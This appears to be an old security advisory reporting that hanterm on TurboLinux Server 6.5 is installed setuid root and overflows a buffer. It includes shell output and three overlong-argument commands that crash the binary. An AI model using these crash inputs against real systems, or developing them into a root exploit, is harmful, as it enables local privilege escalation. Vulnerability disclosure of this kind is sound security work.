COMMAND
hanterm local buffer overflow exploit
SYSTEMS AFFECTED
hanterm-xf-p18-3.3-6
PROBLEM
Xperc posted :
hanterm is Hangul terminal for X. it is based on the xterm in XFree86.
The hanterm binary is default installed with setuid root permissions
for TurboLinux Server 6.5. but contains insecure code with allows
unprivileged local users to obtain root access on the local system.
$which hanterm
/usr/bin/X11/hanterm
$ls -l /usr/bin/X11/hanterm
-rws--x--x 1 root root 166100 03 13
2001 /usr/bin/X11/hanterm*
$rpm -qf /usr/bin/X11/hanterm
hanterm-xf-p18-3.3-6
$hanterm -fn `perl -e \'print \"a\"x100\'`
Segmentation fault
$hanterm -hfb `perl -e \'print \"a\"x8000\'`
Segmentation fault
$hanterm -hfn `perl -e \'print \"a\"x8000\'`
Segmentation fault
